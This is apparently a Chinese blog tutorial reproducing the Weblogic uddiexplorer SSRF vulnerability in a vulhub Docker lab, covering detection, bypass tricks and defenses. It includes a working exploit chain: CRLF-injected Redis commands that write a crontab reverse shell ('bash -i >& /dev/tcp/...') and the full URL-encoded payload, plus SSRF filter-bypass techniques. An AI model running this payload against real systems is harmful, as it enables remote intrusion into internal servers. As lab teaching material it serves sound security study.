Weblogic-SSRF漏洞復現 php
1、SSRF概念web
服務端請求僞造(Server-Side Request Forgery),是一種有攻擊者構造造成有服務端發起請求的一個安全漏洞。通常狀況下,SSRF攻擊的目標是從外網沒法訪問的內部系統。redis
SSRF造成的緣由大都是因爲服務端提供了從其餘服務器應用獲取數據的功能,且沒有對目標地址作過濾與限制。好比從指定URL地址獲取網頁文本內容,加載指定地址的圖片、文檔等等。docker
2、SSRF用途shell
1.內外網的端口和服務掃描api
2.主機本地敏感數據的讀取安全
3.內外網主機應用程序漏洞的利用bash
4.內外網web站點漏洞的利用服務器
3、漏洞影響版本dom
weblogic 10.0.2 -- 10.3.6
4、漏洞復現環境搭建
利用vulhub進行漏洞復現,docker搭建vulhub環境參考: https://blog.csdn.net/qq_36374896/article/details/84102101
Docker-compose build
Docker-compose up -d
5、漏洞復現
1.訪問http://127.0.0.1:7001/uddiexplorer/,便可查看uddiexplorer應用
2.SSRF漏洞存在於http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp,提交參數值爲url:port,根據返回錯誤不一樣,可對內網狀態進行探測如端口開放狀態等
2.1隨便輸入內容,抓包
2.2發現以下圖operator參數,參數的值是url,懷疑可能存在SSRF漏洞
2.3測試是否存在SSRF漏洞,在url後跟端口,把url修改成本身搭建的服務器地址,訪問開放的80端口,發現返回以下信息
2.4訪問一個不存在的端口,將返回but could not connect over HTTP to server
2.5經過上面的測試,能夠發現目標存在SSRF漏洞
3.注入HTTP頭,利用Redis反彈shell
Weblogic的SSRF有一個比較大的特色,其雖然是一個」GET/POST」請求,可是咱們能夠經過傳入%0a%0d來注入換行符,某些服務(如redis)是經過換行符來分隔每條命令,本環境能夠經過該SSRF攻擊內網中的redis服務器。
首先,經過ssrf探測內網中的redis服務器,應爲這個漏洞是用docker環境搭建的。
3.1發送3條redis的命令,將反彈shell腳本寫入/etc/crontab
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/8888 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
3.2對命令進行URL編碼,注意不能對全部命令編碼,須要對部分特殊符號進行URL編碼
http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
3.3監聽,成功得到shell
6、SSRF漏洞的尋找
1.分享,經過URL地址分享網頁內容
2.轉碼服務
3.在線翻譯
4.圖片加載與下載:經過URL地址加載或者下載圖片
5.圖片、文章收藏功能
6.未公開的api實現以及其餘調用URL的功能
7.從URL關鍵字中尋找:share、wap、url、link、src、source、target、u、3g、display、sourceURI、imageURL、domain……
7、SSRF漏洞的驗證方法
1.由於SSRF漏洞是構造服務器發送請求的安全漏洞,因此咱們能夠經過抓包分析發送的請求是不是由服務器端發送的來判斷是否存在SSRF漏洞
2.在頁面源碼中查找訪問的資源地址,若是該資源地址類型爲http://www.xxx.com/a.php?image=(地址)的可能存在SSRF漏洞
8、SSRF繞過技巧
1.添加端口號 http://127.0.0.1:8080
2.短網址繞過 http://dwz.cn/11SMa
3.IP限制繞過 十進制轉換、八進制轉換、十六進制轉換、不一樣進制組合轉換
4.協議限制繞過 當url協議限制只爲http(s)時,能夠利用follow redirect特性,構造302跳轉服務,結合dict://,file://,gopher://
5.能夠指向任意ip的域名:xip.io
6.@ http://abc@127.0.0.1
9、SSRF防護
1.過濾返回信息,驗證遠程服務器對請求的響應是比較容易的方法。若是web應用是去獲取某一種類型的文件。那麼在把返回結果展現給用戶以前先驗證返回的信息是否符合標準。
2.統一錯誤信息,避免用戶能夠根據錯誤信息來判斷遠程服務器的端口狀態。
3.限制請求的端口爲http經常使用的端口,好比80,443,8080,8090
4.黑名單內網ip。避免應用被用來獲取內網數據,攻擊內網
5.禁用不須要的協議。僅僅容許http和https請求。能夠防止相似於file:///,gopher://,ftp:// 等引發的問題
---------------------------------------------------------------------------------------------------